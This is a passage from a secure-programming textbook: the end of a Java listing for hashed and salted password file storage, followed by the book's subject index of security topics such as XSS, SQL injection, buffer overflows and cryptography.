dHpwd = st.nextToken(); // hashed + salted password
dSalt = Integer.parseInt(st.nextToken()); // salt 

}

public String getHashedPassword() { 
return dHpwd; 

}

public int getSalt() { 
return dSalt; 

}

/** returns a HashedPasswordTuple in string format so that it
can be written to the password file. */

public String toString () { 
return (dHpwd + HashedSaltedPasswordFile.DELIMITER_STR + (""+dSalt)); 

}
}

/** This class extends a HashedPasswordFile to support salted, hashed passwords. */
class HashedSaltedPasswordFile extends HashedPasswordFile {

/* The load method overrides its parent's, as a salt also needs to be
read from each line in the password file. */

public static Hashtable load(String pwdFile) { 
Hashtable userMap = new Hashtable(); 
try {

FileReader fr = new FileReader(pwdFile); 
BufferedReader br = new BufferedReader(fr); 
String line;
while ((line = br.readLine()) != null) { 

int delim = line.indexOf(DELIMITER_STR); 
String username = line.substring(0,delim); 
HashedPasswordTuple ur =

new HashedPasswordTuple(line.substring(delim+1)); 
userMap.put(username, ur); 

}
} catch (Exception e) {
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System.err.println ("Warning: Could not load password file."); 
}
return userMap;

}
}

/** This class supports a password file that stores hashed (but not salted)
passwords. */

class HashedPasswordFile { 

/* the delimiter used to separate fields in the password file */ 
public static final char DELIMITER = ':'; 
public static final String DELIMITER_STR = "" + DELIMITER; 

/* We assume that DELIMITER does not appear in username and other fields. */ 
public static Hashtable load(String pwdFile) { 

Hashtable userMap = new Hashtable(); 
try {

FileReader fr = new FileReader(pwdFile); 
BufferedReader br = new BufferedReader(fr); 
String line;
while ((line = br.readLine()) != null) { 

int delim = line.indexOf(DELIMITER_STR); 
String username = line.substring(0,delim); 
String hpwd = line.substring(delim+1); 
userMap.put(username, hpwd); 

}
} catch (Exception e) {

System.err.println ("Warning: Could not load password file."); 
}
return userMap;

}

public static void store(String pwdFile, Hashtable userMap) throws Exception { 
try {

FileWriter fw = new FileWriter(pwdFile); 
Enumeration e = userMap.keys(); 
while (e.hasMoreElements()) {

String uname = (String)e.nextElement(); 
fw.write(uname + DELIMITER_STR +                           

userMap.get(uname).toString() + ""); 
}
fw.close();

} catch (Exception e) {
e.printStackTrace();

}
}

}
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Numbers and symbols
“” (double quotes), 183
? (placeholders), 134
; (semicolons), 131
~ (statement separator), 128

A
A5 algorithm, 206
access, classifications of, 15–17
access control lists (ACLs), 12–15
access control models, 14

Bell-LaPadula model, 15–17
DAC, 14
MAC, 14
RBAC, 14–15

access control security requirements, 50
accountability, 19–20, 23
action tokens

authentication via, for prevention of XSSI
attacks, 176–177

effectiveness of, 173–174
leakage of, 174
limitations of, 174
security analysis of, 173–176
validation via, 171–173

add() method, MiniPasswordManager class,
141

Advanced Encryption Standard (AES)
algorithm, 141, 205–208, 210–216

adware, 90
AESEncrypter class, 210–216

decrypt() method, 215
encrypt() method, 215
main() method, 215–216

Ajax (Asynchronous JavaScript and XML),
164

algorithms
A5, 206
AES, 141, 205–208, 210–216
decryption, 204
encryption. See encryption algorithms
RSA, 223, 229

antivirus software, 86
application security, 3–6
asymmetric key cryptography, 203, 221–226

certificate authorities and, 224–225
ECC, 223–224
key generation and, 229
reasons to use, 221–223
RSA, 223
signature schemes and, 242–243
vs. symmetric, 224
using, 236
See also cryptography; encryption

ATM cards, 9–10
attack strings, 96
attacks. See security threats/vulnerabilities
attribute-injection attacks, 182–183
audit trails, 20
auditing, 50, 258
authentication, 7–12

with ATM cards, 9–10
with biometric techniques, 10–11
client, 12
computer-to-computer, 12
cookie, 159
with encryption, 225–226
HTTP, 159–161
identity keys and, 227
image, 153
implementation of, 22
multiple methods of, 11
mutual, 12
with OTP cards, 8
server, 12, 248–249
with smart cards, 9
two-factor, 11
using passwords, 7–8

authorization, 12–17
access control lists (ACLs) for, 12–15
implementation of, 23

availability, 20–23
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B
backward compatibility, of Triple DES, 207
bandwidth leeching, limiting, 177–178
Bank of America, security breaches at, 30
Bell-LaPadula model, 15–17
binary code, digital signatures and, 242
binary files, secret keys in, 56
binary operator, XOR, 209
bind variables, prepared statements using,

134–136
biometric techniques, 10–11
blacklisting, as ineffective for SQL injection

attacks, 130–131
blackmail, 52
Blaster worm, 87–89
block ciphers

AES, 205–208, 210–216
CBC, 209
DES, 205–206
MACs and, 240–241
n-bit, 206
Triple DES, 205–207

Blowfish, 206
botnets, 90
browser instances, 160–161
browser-side charset guessing, 192–193
brute-force attacks

on DES algorithm, 206
on encryption algorithms, 208, 217

buffer overflows, 6, 93–105
C# and, 100
examples, 94–98
heap-based, 103
non-executable stacks and, 97
overview, 93
performance issues, 103
safe string libraries, 100–101
safe_gets() function, 98–100
stack-based, 103
StackGuard, 101–102
static analysis tools, 102–103
vulnerabilities, 84–88
Y2K problem and, 101

BufferedReader object, 41
buffers, 93
BugTraq mailing list, 123
bytecode, 100
Byzantine agreement protocol, 257

C
C#, buffer overflows and, 100
C++ string class, 101
callback functions, 165
canaries, 102
card verification codes (CVCs), 48–49
Cascading Style Sheets (CSS), 156
CBC (cipher block chaining), 209
CBC MACs, 240–241
cell phones, secret storage on, 234–235
CERT (Computer Emergency Response

Team), 86
certificate authorities (CAs), 224–225,

243–245
certificate revocation, 257
certificate revocation list (CRL), 225
Certificate Verify message, 249
certificates

certificate authorities and, 224–225,
243–245

digital signatures and, 243–245
RA, 246
SSL and, 248–250

CFM (cipher feedback mode), 209
CGI parameters, 126
character escapes, for JavaScript string

literals, 187–189
chargebacks, 24
charsets

unspecified, 192–193
XSS prevention and, 192–193

checkPassword() method, 72, 141, 146, 150
checkPath() function, 63
checksums, 48–49, 240
ChoicePoint, security breaches at, 30
choke points, 72
cipher block chaining (CBC), 209
cipher feedback mode (CFB), 209
Cipher object, 214–215
CipherOutputStream object, 215
ciphers

asymmetric, 223–224
block, 205–216
cipher block chaining, 209
stream, 205, 217–219
substitution, 204–205
symmetric, 205
See also encryption algorithms
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ciphertext
cipher block chaining, 209
messages, 204
notation, 205

click fraud, 29, 90
clickbots, 90
client authentication, 12
client-side scripting languages, 156–157
client-side scripts, 164
client-state manipulation, 107–122

cookies, 119–120
hidden values in HTML forms, 111
JavaScript, 121–122
pizza delivery web site example, 108–117

attack scenario, 110–112
authoritative copy of session state, 114
session state management, 112–114
signature-based approach, 114–117

POST requests, 117–119
session-ids and, 112–114
signature-based approach to, 114–117

ClientKeyExchange message, 248–249
closed source software, 57
CLR (Common Language Runtime)

interpreter, 100
code

assessing security of, 76
disassembling, 52, 54
reuse, 56
rewriting for safe string manipulation,

100–101
See also source code

Code Red worm, 86–87
coding style guidelines, 135
collision attacks, against hash functions, 247
collision resistance, 239
command injection vulnerabilities, 123. See

also SQL injection attacks
Common Language Runtime (CLR)

interpreter, 100
computePrice() function, 121
Computer Emergency Response Team

(CERT), 86
computer-to-computer authentication, 12
computeSHA() method, 143
confidentiality, 17, 23, 50
confinement property, 16
containment measures, 63–64
content type, 176

content-type sniffing, 193–194
convenience, vs. security, 35
conversation keys, 227–228
cookies, 119–120

authentication, 159
binding session, to IP addresses, 195–196
HTTP-only, 195
lifetime of cached, 160–161
non-persistent, 160
persistent, 160
stealing, 166–167
XSS prevention and, 190–191

core dumps, stolen keys and, 229
Coverity, 102
covert channels, 219
crackers, 48
crashes, from memory failures, 69–71
CRCs (cyclic redundancy checks), 18
Credentials object, 150
credit card companies, chargebacks by, 24
credit card validation, 48–49
CRL (certificate revocation list), 225
cross-domain security

attack patterns, 161–169
cross-site request forgery, 162–163
cross-site script inclusion, 164–165
cross-site scripting (XSS), 165–169,

178–196
interaction between web pages from

different domains, 156–161
HTTP request authentication, 159

overview, 155–156
policy, 156–158
prevention

of XSRF attacks, 169–176
of XSS, 178–196
of XSSI attacks, 176–178

cross-site request forgery (XSRF), 162–163,
169–176

cross-site script inclusion (XSSI), 164–165,
176–178

cross-site scripting (XSS), 165–169
example vulnerability, 166
mitigating impact of attacks, 194–196
modifying web pages, 168
prevention of, 178–196

charsets, 192–193
filters for “safe” subsets of HTML,

191–192
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general considerations, 179–180
in JavaScript context, 186–189
JavaScript-valued attributes, 189–190
non-HTML documents, 193–194
redirects, cookies, and header injection,

190–191
regular body text, 180–181
style attributes, 185–186
tag attributes, 181–182
URL attributes, 183–185
within style tags, 186

sources of untrusted data, 168
for specific actions, 167
stealing cookies, 166–167
stored vs. reflected, 168–169
UTF-7 attacks, 192–193

CryptGenKey(), 231
cryptographic accelerators, 234
cryptographic libraries, 203
cryptographic primitives

block ciphers, 205–216
defined, 203
low-level, 203
use of, 203

cryptography
asymmetric, 203, 221–226, 229, 242–243
asymmetric vs. symmetric, 224
block ciphers, 205–208
defined, 203
do-it-yourself, 55
ECC, 223–224
hash functions in, 239–240
key management and exchange, 227–238
notation, 205
security by obscurity, 208
vs. steganography, 220
stream ciphers, 217–219
substitution ciphers, 204–205
symmetric, 203–208, 210–219, 224
terminology, 205
use of, 203
XOR operator, 209
See also encryption

Cryptography Research, 9
CSS (Cascading Style Sheets), 156
curl, 111–112
CVCs (card verification codes), 48–49
cyclic redundancy checks (CRCs), 18
Cygwin, 232

D
DAC (discretionary access control) model, 14
data encryption. See encryption
Data Encryption Standard (DES), 205–206
Data Execution Protection (DEP) feature, 97
data loss, 30
data packets, detecting malicious, 6
data theft, 30
database

hardening server, 138
statements modifying, 129

database administrative commands, in SQL
injection attacks, 129

database schema, information leakage and,
136

DCOM (Distributed Component Object
Model), 87

DDoS. See distributed denial-of-service
(DDoS) attacks

decrypt() method, 214–215
decryption

algorithms, 204
of ciphertext, 205
functions, 205, 223
See also cryptography, encryption

Deep Crack, 206
defacement, 26
default security, 71–73
Defense Advanced Research Project Agency

(DARPA), 31
defense-in-depth security, 63–65, 255–259
denial-of-service (DoS) attacks, 18–20, 23, 29

requesting dev/random file, 68–71
using session-ids, 114

deployment scenario, typical web server, 4–5
detection measures, 63–64
device files, random, 68–71, 230–231
DHTML (Dynamic HTML), 156
dictionary attacks

offline, 143
online, 150

Diffie-Hellman (DH) key exchange protocol,
228, 236–238

digital signatures, 203, 235, 239–247, 257
certificate authorities and, 243–245
encryption and, 226
Pretty Good Privacy, 247
registration authorities and, 246
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signing and verifying, 242, 246
vulnerabilities, 246

discretionary access control (DAC) model, 14
disk space, limits on using, 21
Distributed Component Object Model

(DCOM), 87
distributed denial-of-service (DDoS) attacks,

20–21
diversity-in-defense, 65–66
DNS cache poisoning (pharming), 28
Document Object Model (DOM), 156
document theft protection, 4
documentation, lack of reliance on, 73
domain names, fully qualified, 157
DoS attacks. See denial-of-service (DoS)

attacks
double quotes, 183
download size, specifying maximum, 70–71
dServerSocket, 40
dumpster diving, 4
Dynamic HTML (DHTML), 156
dynamic scripts, information leakage via,

164–165

E
e-mail, authentication of, 242, 247
ECMAScript, 156
economics, of security, 58–59
Electronic Code Book (ECB) mode

encryption, 208–209
Electronic Frontier Foundation (EFF), 206
electronic images, hidden messages in, 219
elliptic curve cryptography (ECC), 223–224
EMAC, 240
employees

infiltration of, by attackers, 52
policies and procedures for, 7
as security threats, 28, 66

encrypt() method, 214–215
encryption

authentication with, 225–226
CBC, 209
ECB mode, 208–209
identity-based encryption, 225
introduction to, 204–216
password, 141–144
public key. See asymmetric key

cryptography

technology, 17
using, to limit impact of SQL injection

attacks, 137–138
See also cryptography

encryption algorithms, 204–205
AES, 205–208
asymmetric

ECC, 223–224
key generation and, 229
RSA, 223

block ciphers, 205–208
DES, 205–206
designing own, 208
notation, 205
one-time pads, 217
RSA, 223, 229
statistical attacks on, 205
substitution ciphers, 204–205
symmetric, 228
terminology, 205
Triple DES, 205–207
XOR operator and, 209

encryption keys. See keys
enctype attribute, 176
Engler, Dawson, 102
error handling

internal, 47–48
specifying requirements in software, 44–46

error messages, information leakage and, 136
escape() function, 132–134
ethical hackers, 48
exceptions, 45
execution stacks, 96
external devices, key storage in, 233–235

F
facial recognition techniques, 10
fail-safe stances, 67–71
failure, 255–257
failures, lies, and infiltration (FLI) model, 65,

255–258
false negatives, 11
false positives, 11
fault injection, 51
fgets() function, 99
file length checks, 69
FileOutputStream object, 216
FileReader object, 43
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files
key storage in, 233
serving, 42–43

filters, for safe subsets of HTML, 191
finger client, 84
fingerd program, 84–85
fingerprinting techniques, 10
FIPS (Federal Information Processing

Standards), 206
firewalls, 6, 31–34, 67, 93, 257
FLI (failure, lies, infiltration) security

problems, 65, 255–258
flush() method, 261
<form>-based requests, 175–176
form field value attributes, XSS prevention

and, 181–183
format string vulnerabilities, 104
Fortify, 102
fraud checks, in software requirements,

48–50
fully qualified domain name (FQDN), 157
functions

callback, 165
hash, 142–144, 239–241, 247
See also specific functions

fuzzing, 51

G
generalized packet radio service (GPRS), 46
generateKey() method, 216
generator, 236
GET requests, 42–43, 117–119
getAuthorization() method, 150
gets() function, substituting with safe_gets(),

98–100
getSaltedHash() method, 146
getSecureRandom() method, 146
Gpw, 152

H
hackers, ethical, 48
hard-coded keys, 55–56
hardening a system, 71
hardware security module (HSM), 234
hash functions, 142–144, 239–241, 247
hash tables, 239
HashedPasswordFile class, 261–265
HashedPasswordTuple class, 146
HashedSaltedPasswordFile class, 261–265

hashing, 141–143
header injection, XSS prevention and,

190–191
heap-based overflows, 103
hidden form fields, 117–119
hidden values, in HTML forms, 107, 111
hidden-form authentication, 159
HMAC, 241
HMAC-X, 241
honeypot passwords, 151
href attribute, XSS prevention and, 183–185
HSM (hardware security module), 234
HTML (Hypertext Markup Language), 35

Dynamic, 156
escaping, 180
filters, for safe subsets of, 191
plain, 156

HTML character reference, 180
HTML forms

hidden values in, 107, 111
session-ids, 112

HTML template snippets, 178
HTTP (Hypertext Transfer Protocol), 35–36,

107
HTTP authentication, 159–161
HTTP referrer fields, 118
HTTP requests, 108–109

cookies for, 119–120
distinguishing origin of, 169–176

via action tokens, 171–176
inspecting referer headers, 170

<form>-based, 175–176
GET method, 117–119
malicious, 158–159
POST method, 117–119
tools for generating, 111–112
XmlHttpRequest object, 175

HTTP specification, 44
HTTP-only cookies, 195
Hypertext Markup Language. See HTML
Hypertext Transfer Protocol. See HTTP

I
identity keys. See keys
identity theft, 29
identity verification process, 5
identity-based encryption (IBE), 225, 229
image authentication, 153
implementation vulnerabilities, 67
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index.html, 36
infiltration, 26–27, 255–257
information, confidentiality of, 17
information leakage

via dynamic scripts, 164–165
protection against, 4

init() method, 150, 261
input characters, escaping, 132–134
input validation

applying, for SQL injection attacks, 138
vs. output sanitization, 179–180
white-listing based, 132

insider security threats, 28, 52
integer overflows, 104–105
integrity checks, 18
integrity keys, 228
internal errors, handling in software

requirements, 47–48
International Data Encryption Algorithm

(IDEA), 206
Internet

firewalls for, 31–33
security problems of, 31

Internet Information Server (IIS), 72
Internet ports, 32
Internet Protocol (IP), 33–34
intrusion detection systems (IDSs), 6, 258
IP addresses

binding session cookies to, 195–196
fraudulent, 32

IP spoofing attacks, 32–33
IP whitelisting, 32–33
IPsec, 33
iris scans, 10
ISO 17799 standard, 4
ivBytes object, 214
ivSpec object, 214–215
Java, 52

buffer overflows and, 100
bytecode, 52, 54
decompilers, 54
interpreter, 100
SecureRandom class, 231

Java Cryptography Extension (JCE), 229
JavaScript (Jscript), 121–122, 156–157

JSON, 164
string literals, character escapes for,

187–189
XSS prevention in context of, 186–189

JavaScript-valued attributes, XSS prevention
and, 189–190

javascript: URLs, 184
JSON (JavaScript Object Notation), 164

K
Kerckhoff, Auguste, 54
key cryptography. See cryptography
key disks, 235
key escrow techniques, 257
key generation, 228–231

from password, 229
random number, 229–231

key sizes, of encryption algorithms, 223
key-based security, flaws with, 54
KeyGenerator class, 216
keyloggers, 90
keys, 17, 227

agreement and exchange, 228, 235–238
agreement between, 227
asymmetric, 236
conversation or session, 227–228
eliminating from memory, 229
encryption, 227
generation of, 227
hard-coded, 55–56
identity, 227
integrity, 228
private, 222
public, 222
public/private pairs, 229, 231
revocation of, 224–225
secret, 52
security of, 229
single purpose, 228, 241
storage, 227–235
types of, 227–228
weak, 228

kill_quotes() method, 131
Klocwork, 102
Kocher, Paul, 9

L
legistion, concerning security breaches, 30
letters, natural frequency of, 205
lies, 255–257
Linux, random device files on, 230–231
log files, accountability and, 19–20
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login
artificial delays, 152–153
displaying time of previous, 153
limited attempts at, 152

low-level primitives, 203

M
MACs. See message authentication codes
main() method, 39–40, 45, 150, 215–216
malloc() function, 103
malware, 89–91. See also worms
man-in-the-middle attacks, 18, 237–238
mandatory access control (MAC) model, 14
marshaled communication, 175
max_chars parameter, 98–99
MAX_DOWNLOAD_LIMIT, 70–71
McGraw, Gary, 44
MD5 (Message Digest 5) hash function, 240
memory

buffers, 93
crashes, 69–71
eliminating keys from, 229

memory corruption vulnerabilities, 103–105
format string vulnerabilities, 104
integer overflows, 104–105
See also buffer overflows

message authentication codes (MACs), 19,
216, 239

CBC, 240–241
generating action tokens with, 171
hash functions and, 239–240
HMAC, 241
integrity keys for, 228
vs. secure hash codes, 241
types of, 239
use of, 240

message digest (MD), 239–240
message/data integrity, 18–19

encryption and, 226
implementation of, 23

MessageDigest object, 143
messages

ciphertext, 204
plaintext, 204
routing, through ports, 32

meta-level compilation, 102
microprocessors, execution stacks, 96
Microsoft IIS web server, security

vulnerabilities of, 86

Microsoft SQL Server, attacks on, 88
MIME media type, 176
MiniPasswordManager class, 139, 141, 261
MOD 10 checksum, 48–49
Morris worm, 71, 84–85
Morris, Robert, 84–85
multipart/form-data, 176
mutual authentication, 12, 249–250

N
n-bit block ciphers, 206
National Institute of Standards and

Technology (NIST), 206
network security, 3, 6. See also security
Network Time Protocol (NTP), 20
Nimda worm, 87
NIST, 207
No Execute (NX) bit, 97
no read up property, 16
no write down strategy, 16
Nokia GGSN, 46–47
non-executable stacks, 97
non-HTML documents, XSS prevention and,

193–194
non-persistent cookies, 160
non-repudiation, 21–24, 258
nonces, 33
number theory, 223

O
offline dictionary attacks, 143
OMAC, 240
one-time password (OTP) systems, 8, 154,

217
onKeyUp handler, 121
online dictionary attacks, 150
online vandalism, defacement as, 26
open source software, 57
opensesame password, 232
operating systems (OSs)

hardening, 71, 138
homogeneity of, 85
security, 3, 6

OTP cards, 8
Ounce Labs, 102
output feedback method (OFB), 209
OutputStreamWriter object, 41
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P
packet-of-death attacks, 46
palm scans, 10
parameters

CGI, 126
placeholders for, 134

parity bits, 206
passwords/password security, 6, 139–154

advantages and disadvantages, 8
aging passwords, 152
artificial delays, 152–153
for authentication, 7–8
flaws in, 35
for prevention of XSRF attacks, 170–171
hashing, 141–143
honeypot passwords, 151
image authentication, 153
importance of good, 85
key generation from, 229
last login display, 153
limiting login attempts, 152
offline dictionary attacks, 143
one-time passwords, 8, 154, 217
online dictionary attacks, 150
password filtering, 151
password manager system example,

139–141
pronounceable passwords, 152
redundancy example, 65
resetting, 6
salting, 144–150
strong passwords, 151
weak passwords, 66

password-authenticated key exchange
(PAKE), 150

password-cracking software, 8
patches, for web browsers, 6
pay-per-click advertising, click fraud and, 29
payloads, 87
PayPal, 21
PBEKeySpec class, 229
PBEParameterSpec class, 229
PDAs, secret storage on, 234–235
perfect secrecy, 217
performance issues, buffer overflow

mitigation and, 103
persistent cookies, 160
pharming, 28

phishing, 27
physical security, 3–4
ping-of-death attacks, 46
PINs, 234
PKCS #5 padding, 214, 229
plain HTML, 156
plaintext notation, 205
plaintext messages, 204
policies and procedures, 6–7
PORT variable, 40
ports, communication across, 32
POST requests, 111, 177
power attacks, against smart cards, 234
pre-image resistance, 239
prepared statements, using bind variables,

134–136
Pretty Good Privacy (PGP), 247
prevention measures, 63–64
primitive element, 236
principle of least privilege, 61–63
Privacy Rights Clearinghouse web site, 30
private key generator (PKG), 225, 229
private keys, 222
privilege, principle of, 61–63
procedures, 6
processRequest() method, 40–45, 150
program stacks, non-executable, 97
propagation vectors, 87
public key certificates, 245, 248
public key cryptography. See asymmetric key

cryptography
public key infrastructure (PKI), 225
public keys, 222
public/private key pairs, 229, 231

Q
quality assurance (QA), 46–47
query parameters

as source of untrusted data, 168
string-valued, 129–130

quote characters, eliminating, and SQL
injection attacks, 130–131

R
rand() function, 230
Random class, 231
random device files, 68–71, 230–231

■INDEX 285

Find
itfasterathttp://superindex.apress.com

/

7842Index.qxd  1/22/07  3:26 PM  Page 285



random number generation, 229–231
rand() function, 230
random device files, 68–71, 230–231
SecureRandom class, 146, 231

RBAC (role-based access control) model,
14–15

RC4 stream cipher, 205, 217–219
realloc() function, 103
recovery measures, 63–64
redirects, XSS prevention and, 190–191
redundancy, 18, 21, 63–65
Referer headers

declining requests with, 177–178
inspection of, 170

reflected XSS, 168–169
regedit utility, 233
registration authorities (RAs), 246
registry, key storage in, 233
regular body text, XSS prevention and,

180–181
regular expressions, 132, 185
replication, 256
request processing, 40–42
resource access, preventing for cost reasons,

177–178
retinal scans, 10
rexec command, 84
Rijndael proposal, 208
risk assessments, 76
RMAC, 240
role-based access control (RBAC) model,

14–15
roles, in access control lists, 13
root certificates, 243
root documents, 36
rootkits, 90
RSA algorithm, 223, 229
rsh command, 84
run() method, 40, 45

S
safe string libraries, 100–101
SafeStr, 100
safe_gets() function, 98–100
salting, 144–150
same-origin policy, 156–157, 165
SANS Security Policy Project, 4
Sarbanes-Oxley (SOX), 50
scanf() function, 99

script URLs, 183
scripting languages, client-side, 156–157
scripts

cross-site scripting, 165–169, 178–196
dynamic, information leakage via,

164–165
same-origin policy and, 156–158
static, cross-domain inclusion of, 164

<script> tags, 177
second order SQL injection attacks, 133–134
secret keys, 52, 55–56
secret storage, 231–235

in a file on disk, 233
in external devices, 233–235
in hard-to-reach places, 233
in source code, 231–232

secretKey object, 214
secure design principles

default security, 71–72
defense-in-depth, 63–65, 255–357
diversity-in-defense, 65–66
fail-safe stances, 67–71
principle of least privilege, 61–63
redundancy, 63–65
simplicity, 72
usability, 73–74
weakest link security, 66

secure hash functions, 239–241
Secure Sockets Layer. See SSL (Secure Sockets

Layer) protocol
SecureRandom class, 146, 231
SecurID cards, 8
security

application, 4–6
vs. convenience, 35
cross-domain, 155–178
default, 71–73
designing for, 30–34, 60
economics of, 58–59
expectations of, 59
good enough, 59–60
holistic nature of, 3–4
importance of, 50–51
in software requirements, 44–51
key concepts in, 3
network, 6
operating system (OS), 6
password. See passwords/password

security

■INDEX286

7842Index.qxd  1/22/07  3:26 PM  Page 286



physical, 3–4
policy and procedures for, 6–7
vs. security features, 74–76
technological, 3–6
vs. usability, 73–74

security by obscurity, 51–56
cryptography, 208
flaws in, 51–52
of keys, 233
SimpleWebServer, 52–55
steganography, 220
things to avoid in, 55–56

security features, do not imply security,
74–76

security goals
accountability, 19–20
availability, 20–21
confidentiality, 17
differing, for types of web sites, 27
message/data integrity, 18–19
non-repudiation, 21–24

security measures/methods
authentication, 7–12, 225–227
authorization, 12–17, 23
defense-in-depth, 63–65, 255–259
firewalls, 6, 31–34, 67, 93, 257
turtle shell architecture, 34

security threats/vulnerabilities
against smart cards, 9
attribute-injection attacks, 182–183
brute-force attacks, 206, 208, 217
buffer overflows, 6, 84–88, 93–105
click fraud, 29
command injection, 123
data theft and loss, 30
DDOS attacks, 20–21
defacement, 26
dictionary attacks, 143, 150
DOS attacks, 18–20, 23, 29, 68–71, 114
due to internal errors, 47–48
failure, 255–257
FLI, 256–258
infiltration, 26–27, 255, 257
insider, 28, 52
IP spoofing attacks, 32–33
lies, 255, 257
man-in-the-middle attacks, 18, 237–238
packet-of-death attacks, 46

pharming, 28
phishing, 27
ping-of-death attacks, 46
SQL injection attacks, 5, 123–138
understanding, 25
worms, 72, 83–89, 169

self-signed certificates, 243
semicolons, SQL injection attacks and, 131
sendmail program (UNIX), 72, 84–85
separation of privilege, 28
serveFile() method, 42–43, 67–71
server authentication, 12, 248–249
servers

physical access to, 4
See also web servers

ServerSocket object, 40
session cookies, binding to IP addresses,

195–196
session keys, 227–228
session management, 114
session state

authoritative copy of, 112–114
See also client-state manipulation

session-ids, 47, 112–114
Set-Cookie field, 120
setInt() method, 135
setString() method, 135
SHA-1 hash function, 240, 247
shellcode, 97
signature dynamics, 10
signature schemes, 242–247

certificate authorities and, 243–245
Pretty Good Privacy, 247
registration authorities (RAs), 246
signing and verifying, 242, 246
types of, 239

signature-based approach, to client-state
manipulation, 114–117

signature_check, 116
simple property, 16
SimpleWebServer code example, 35–44

compiling and running, 43–44
data members, 40
error handling requirements in, 44–45
fail-safe stance, 67–71
main() method, 39–40
MiniPasswordManager, 147–150
processRequest() method, 40–42
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run() method, 40
security by obscurity for, 52–55
serveFile() method, 42–43

simplicity, 72
Skipjack, 206
smart cards, 9, 234
social acceptance, of biometrics, 11
social engineering attacks, 7
software

implementation vulnerabilities, 67
open vs. closed source, 57
vulnerabilities, 93

software requirements, security in, 44–51
error handling requirements, 44–46
importance of, 50–51
internal error handling, 47–48
quality assurance and, 46–47
validation and fraud checks, 48–50
writing measurable, 50

Software Security (McGraw), 44
source code

keys in, 231–232
listings, 261–265
open vs. closed, 57

spoofing
of IP addresses, 32–33
of web sites, 12

sprintf() function, 99
spyware, 90
SQL (Structured Query Language), 124
SQL injection attacks, 5

danger of, 123
mitigating impact of, 136–138

applying input validation, 138
encryption of sensitive data, 137–138
hardening database server and host

O/S, 138
limiting privileges, 137
schema and information leakage, 136

overview, 123
scenario, 124–130
second order, 133–134
solutions to, 130–136

bind variables, 134–136
blacklisting, 130–131
escaping, 132–134
prepared statements, 134–136
separate module for, 135

stored procedures and, 136
whitelisting-based input validation, 132

string-valued parameters and, 129–130
SQL Slammer worm, 87–89
SQL statements, 124
src attribute, XSS prevention and, 183–185
SSL (Secure Sockets Layer) protocol, 22,

74–75
digital signatures and, 242
mutual authentication, 249–250
server-authenticated-only, 248–249
workings of, 247–248

SSL handshake, 247–248
stack-based overflows, 103
StackGuard, 101–102
star property, 16
state manipulation. See client-state

manipulation
state tables, 218
static analysis tools, 102–103
static scripts, cross-domain inclusion of, 164
steganography, 219–220
stored procedures, prevention of SQL

injection attacks and, 136
stored XSS, 168–169
strcat() function, 99
strcpy() function, 60, 99
stream ciphers, 217–219
string-valued parameters, SQL injection

attacks and, 129–130
Strings utility, 232
StrSafe, 100
style attributes, XSS prevention and, 185–186
style sheet URLs, 183
substitution ciphers, 204–205
symmetric ciphers, 205
symmetric key cryptography, 203

AES code example, 210–216
algorithms, 141
vs. asymmetric, 224
block ciphers, 205–208
key generation and, 228
notation, 205
stream ciphers, 217–219
substitution ciphers, 204–205
terminology, 205

system logs, for accountability, 19
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T
tag attributes, XSS prevention and, 181–183
technological security, 3

application security, 4–6
network, 6
OS, 6
overview of, 4–6
See also security

template snippets, 178
temporary cookies, 160
test plans, for malformed HTTP requests, 46
text/plain encoding, 176
Thompson, Ken, 85
threats. See security threats/vulnerabilities
tiger teams, 48
timestamps, 20
TMAC, 240
topping parameter, 131
tranquility property, 16
Transmission Control Protocol (TCP), 32–33
Triple DES, 205–207
Trojan horses, 90
truth table

for XOR, 209
try . . . catch blocks, 43, 46
turtle shell architectures, 34
two-factor authentication, 11

U
Unix

security vulnerabilities, 84
sendmail program, 72, 84–85

URL attributes, XSS prevention and, 183–185
URLs, fully qualified domain names, 157
usability, 73–74
user input, validation of, 107–117
user permissions, principle of least privilege

and, 61–63
user-role mapping, 13
users, limited privileges of, 61–63, 137
UTF-7 XSS attacks, 192–193

V
validation checks, in software requirements,

48–50
VBScript, 156
Veterans Administration (VA), security

breaches at, 30

viruses, 83. See also worms
voice identification, 10
Voltage Security, 225

W
weakest links

implementation as, 67
passwords as, 66
people as, 66
securing, 66

web applications, 107
cross-domain security in. See cross-

domain security
HTTP request authentication by, 159
state information and, 107

web browsers
client-side scripting languages, 156–157
cookies states of multiple, 160–161
DOM event model of, 156
patches for, 6
same-origin policy, 156–157
security vulnerabilities of, 6

web of trust model, 247
web pages

DHTML, 156
interaction of, from different domains,

156–161
loading, 157–158
malicious HTTP requests, 158–159
modifying, with cross-site scripting, 168
plain HTML, 156
same-origin policy and, 157

web servers
code example, 35–44
configuration of, 5
deployment scenario, 4–5
input validation by, 107–117
keeping authoritative copy of session state

on, 112–114
SQL injection attacks on, 5

web sites
spoofed, 12
threats to. See security

threats/vulnerabilities
Wget, 111–112
White House web site

DDoS attack on, 86
defacement of, 26
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whitelisting-based input validation, 132
whitelists, 32–33
Windows

CryptGenKey(), 231
security problems in, 31

Windows registry
key storage in, 233
storing secret keys in, 56

Windows Update web site, DDoS attack on,
88

WindowsUpdate feature, 6
within style tags, XSS prevention and, 186
Witty worm, 89
Workshop on Rapid Malcode, 87
World Wide Web (WWW), 35
worms, 72

Blaster worm, 87–89
CERT and, 86
Code Red, 86–87
containment measures for, 89
defined, 83
history of, 84–89
Morris worm, 84–85
Nimda worm, 87
spread of, 83
SQL Slammer worm, 87–89
Witty worm, 89
XSS, 169

write once, read many (WORM) media, 19

X
X.509 format, 243
XCBC MACs, 240
XmlHttpRequest object, 175
XOR (exclusive or) operator, 209
XSRF (cross-site request forgery), 162–163

prevention of, 169–176
inspecting referer headers, 170
validation via action token, 171–176
validation via user-provided secret,

170–171

XSS (cross-site scripting), 165–169
example vulnerability, 166
mitigating impact of attacks, 194–196
modifying web pages, 168
prevention of, 178–196

charsets, 192–193
filters for “safe” subsets of HTML,

191–192
general considerations, 179–180
in JavaScript context, 186–189
JavaScript-valued attributes, 189–190
non-HTML documents, 193–194
redirects, cookies, and header injection,

190–191
regular body text, 180–181
style attributes, 185–186
tag attributes, 181–182
URL attributes, 183–185
within style tags, 186

sources of untrusted data, 168
for specific actions, 167
stealing cookies, 166–167
stored vs. reflected, 168–169
UTF-7 attacks, 192–193

XSSI (cross-site script inclusion), 164–165,
176–178

Y
Y2K problem, 101

Z
zero-knowledge proofs, 150
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